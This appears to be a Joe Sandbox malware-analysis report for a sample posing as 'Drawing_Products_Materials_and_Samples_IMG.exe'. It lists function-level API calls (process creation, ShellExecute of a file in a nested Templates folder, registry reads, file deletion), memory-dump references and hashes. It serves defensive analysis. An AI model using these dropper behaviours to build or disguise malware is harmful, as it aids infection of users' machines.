Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 788b6a00b7ec5152489f9dc894b393f1b4e1631423b852db40bb4005bf856efe
Instruction ID: 6329997bd1e730a3a29e667b1e1522e50d9b382afe1a637a64c3b3c33ec2f19e
Opcode Fuzzy Hash: 788b6a00b7ec5152489f9dc894b393f1b4e1631423b852db40bb4005bf856efe
Instruction Fuzzy Hash: 28E0ECB4900209AFDB009F64DC09E6F7BBDFB00344F00CA21AD11E2150F778E9108EA9

Function 004030BB Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00405DE7: CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004030C7,C:\Users\user\AppData\Local\Temp\,773E3410,004032A1), ref: 00405E3F
Part of subcall function 00405DE7: CharNextA.USER32(?,?,?,00000000), ref: 00405E4C
Part of subcall function 00405DE7: CharNextA.USER32(?,"C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004030C7,C:\Users\user\AppData\Local\Temp\,773E3410,004032A1), ref: 00405E51
Part of subcall function 00405DE7: CharPrevA.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004030C7,C:\Users\user\AppData\Local\Temp\,773E3410,004032A1), ref: 00405E61

CreateDirectoryA.KERNELBASE(C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,773E3410,004032A1), ref: 004030DC

Strings

1033, xrefs: 004030E3
C:\Users\user\AppData\Local\Temp\, xrefs: 004030BC, 004030C1, 004030C7, 004030D3, 004030DB, 004030E2

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID: 1033$C:\Users\user\AppData\Local\Temp\
API String ID: 4115351271-1726532035
Opcode ID: 989f0d5821f87d80d940d59544e2b08c282c9559bcd769a3462913332c2d97c9
Instruction ID: a6bfa147a109cceda54d2a74a0b449bcdc81c0a47cb146117b691cb1a8044d63
Opcode Fuzzy Hash: 989f0d5821f87d80d940d59544e2b08c282c9559bcd769a3462913332c2d97c9
Instruction Fuzzy Hash: 96D09222516D3061D59132263C06FCF1A4D8F8A359F41817BF50A740854A6D1A9289FE

Function 00402188 Relevance: 4.6, APIs: 3, Instructions: 51stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00405E80: FindFirstFileA.KERNELBASE(?,007A0548,Grundsprogs.but,0040575A,Grundsprogs.but,Grundsprogs.but,00000000,Grundsprogs.but,Grundsprogs.but,?,?,773E3410,00405479,?,C:\Users\user\AppData\Local\Temp\,773E3410), ref: 00405E8B
Part of subcall function 00405E80: FindClose.KERNEL32(00000000), ref: 00405E97

lstrlenA.KERNEL32 ref: 004021C8
lstrlenA.KERNEL32(00000000), ref: 004021D2
SHFileOperationA.SHELL32(?,?,?,00000000), ref: 004021FA

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: FileFindlstrlen$CloseFirstOperation
String ID:
API String ID: 1486964399-0
Opcode ID: fe9920c73d653bb382b5488afb326a4be2307579c403581ffdf05e2a2fb699af
Instruction ID: fea5999ed2d29f36f6659ea5ab76f630fbbff02e816614fbb945e9929dcefa88
Opcode Fuzzy Hash: fe9920c73d653bb382b5488afb326a4be2307579c403581ffdf05e2a2fb699af
Instruction Fuzzy Hash: 1D115271E04358AADB10EFB9C94999EB7F8EF04354F10853BA505FB2C2D6BDD9008B59

Function 00401E32 Relevance: 4.5, APIs: 3, Instructions: 48synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00404E89: lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll,00000000,007904A8,007898A8,?,?,?,?,?,?,?,?,?,00402FA6,00000000,?), ref: 00404EC2
Part of subcall function 00404E89: lstrlenA.KERNEL32(00402FA6,Skipped: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll,00000000,007904A8,007898A8,?,?,?,?,?,?,?,?,?,00402FA6,00000000), ref: 00404ED2
Part of subcall function 00404E89: lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll,00402FA6,00402FA6,Skipped: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll,00000000,007904A8,007898A8), ref: 00404EE5
Part of subcall function 00404E89: SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll), ref: 00404EF7
Part of subcall function 00404E89: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404F1D
Part of subcall function 00404E89: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404F37
Part of subcall function 00404E89: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404F45

Part of subcall function 0040534C: CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,007A0500,Error launching installer), ref: 00405371
Part of subcall function 0040534C: CloseHandle.KERNEL32(?), ref: 0040537E

WaitForSingleObject.KERNEL32(?,?,00000000,000000EB,00000000), ref: 00401E6C
GetExitCodeProcess.KERNEL32(?,?), ref: 00401E7C
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EA1

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcat
String ID:
API String ID: 3521207402-0
Opcode ID: 25fd9c86a64d1daeba0e3da36de81919d2ae7ea6952b975f12a42877c509ddad
Instruction ID: f18eb7332cf5c9122d10212b54beee47d15ecdde2804cc733f54deaeffad9b38
Opcode Fuzzy Hash: 25fd9c86a64d1daeba0e3da36de81919d2ae7ea6952b975f12a42877c509ddad
Instruction Fuzzy Hash: D2018031900118EBCF10AFA1CD859AE7B71EB00344F10817BFA01B51E1C7B95A81DF9E

Function 00405A63 Relevance: 4.5, APIs: 3, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(80000002,00405CA8,00000000,00000002,?,00000002,?,?,00405CA8,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405A8C
RegQueryValueExA.KERNELBASE(?,?,00000000,00405CA8,?,00405CA8), ref: 00405AAD
RegCloseKey.KERNELBASE(?), ref: 00405ACE

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: a7dc294ab98d1aedf48ab84cf89b8b0d9a3be53888eb2216a8b2e534b80ab0d4
Instruction ID: 9c835cca2eb0aa0b02c586e78d8c0f4c8809676904daf451fb9b34ef674f496a
Opcode Fuzzy Hash: a7dc294ab98d1aedf48ab84cf89b8b0d9a3be53888eb2216a8b2e534b80ab0d4
Instruction Fuzzy Hash: AD015A7154020AEFDF128F64EC84AEB3FACEF18354F044536F955A6260D235E964CFA5

Function 00402438 Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402B11: RegOpenKeyExA.KERNELBASE(00000000,000003E7,00000000,00000022,00000000,?,?,?,004022CA,00000002), ref: 00402B39

RegEnumKeyA.ADVAPI32(00000000,00000000,?,000003FF), ref: 00402466
RegEnumValueA.ADVAPI32(00000000,00000000,?,?,?,?,?,?,00000003,00020019), ref: 00402479
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsw1382.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040248E

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: Enum$CloseOpenValue
String ID:
API String ID: 167947723-0
Opcode ID: e0a1bc4ab8869d2a121cb057061cf9ed2671c29535a9e67340b1f386ccbb16c1
Instruction ID: d28fcdc599a7f9727bcbc73a1b2195d927587ee9f1dfd2233f1a348fd0a26dbd
Opcode Fuzzy Hash: e0a1bc4ab8869d2a121cb057061cf9ed2671c29535a9e67340b1f386ccbb16c1
Instruction Fuzzy Hash: AEF0F472A04205EFE7119F689E8CEBF7A6CEF40348F10483FF105B61C0D6B95E41962A

Function 00405411 Relevance: 4.5, APIs: 3, Instructions: 28fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00405805: GetFileAttributesA.KERNELBASE(?,?,0040541D,?,?,00000000,00405600,?,?,?,?), ref: 0040580A
Part of subcall function 00405805: SetFileAttributesA.KERNELBASE(?,00000000), ref: 0040581E

RemoveDirectoryA.KERNEL32(?,?,?,00000000,00405600), ref: 0040542C
DeleteFileA.KERNELBASE(?,?,?,00000000,00405600), ref: 00405434
SetFileAttributesA.KERNEL32(?,00000000), ref: 0040544C

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: File$Attributes$DeleteDirectoryRemove
String ID:
API String ID: 1655745494-0
Opcode ID: 7ce6c77110259a770026784a7bafc9becd511e2727126a845108ec838af216ef
Instruction ID: 50574c3c0a793d880e57543bab2a7873921d7517d00327b94fd9c91dc08ced70
Opcode Fuzzy Hash: 7ce6c77110259a770026784a7bafc9becd511e2727126a845108ec838af216ef
Instruction Fuzzy Hash: FFE0E53150DA905AC310673089087DB2AD4DF86326F05493AF891B11D1C77848C68ABA

Function 00401DD8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

ShellExecuteA.SHELL32(?,00000000,00000000,00000000,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\konflikttilstandenes\polyautography\crotalid\Urging,?), ref: 00401E1E

Strings

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\konflikttilstandenes\polyautography\crotalid\Urging, xrefs: 00401E09

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: ExecuteShell
String ID: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\konflikttilstandenes\polyautography\crotalid\Urging
API String ID: 587946157-2495297767
Opcode ID: 6b82480460148eba8d5457b1b121f6af4dfa1a379e315f455fd24936478d9cf2
Instruction ID: 65620240301e045641c79ca9780ea5e083df883982ed968680c53d4afc27f8c5
Opcode Fuzzy Hash: 6b82480460148eba8d5457b1b121f6af4dfa1a379e315f455fd24936478d9cf2
Instruction Fuzzy Hash: 43F0F672B041406ACB11ABB5DD8AE6D7BA4DB41318F24093BF150F71C2D9FD88419B18

Function 00402517 Relevance: 3.1, APIs: 2, Instructions: 79fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?,00000001,?,?,?,00000002), ref: 00402563

Part of subcall function 00405ADA: wsprintfA.USER32 ref: 00405AE7

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: FileReadwsprintf
String ID:
API String ID: 3326442220-0
Opcode ID: 071a9315f289c3058708434a5f56a74c9704623313ac53fb04275045a36301de
Instruction ID: 59a9ffd24257c1493c6120c561a9136e4b4039c8ce9bef0c5d6aa76a01188804
Opcode Fuzzy Hash: 071a9315f289c3058708434a5f56a74c9704623313ac53fb04275045a36301de
Instruction Fuzzy Hash: 3421E470D05299FFDF219B948E685AEBB759B01304F14417BF481B62D2D6BC8A81C72D

Function 004023C6 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402B11: RegOpenKeyExA.KERNELBASE(00000000,000003E7,00000000,00000022,00000000,?,?,?,004022CA,00000002), ref: 00402B39

RegQueryValueExA.ADVAPI32(00000000,00000000,?,?,?,?), ref: 004023F6
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsw1382.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040248E

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: b439f61bfe72f3706feb706b2374f9df9e561f3deb36810b4298d1c7e54b1251
Instruction ID: 3a9a750c04b5dd3bf1d403560cac254c76a96e884aedd954fc1ce2650bea7c06
Opcode Fuzzy Hash: b439f61bfe72f3706feb706b2374f9df9e561f3deb36810b4298d1c7e54b1251
Instruction Fuzzy Hash: CE119E31905205EFDB15DF64CA889AFBBB4EF45344F20843FE446B62C0D2B85A41DB2A

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageA.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
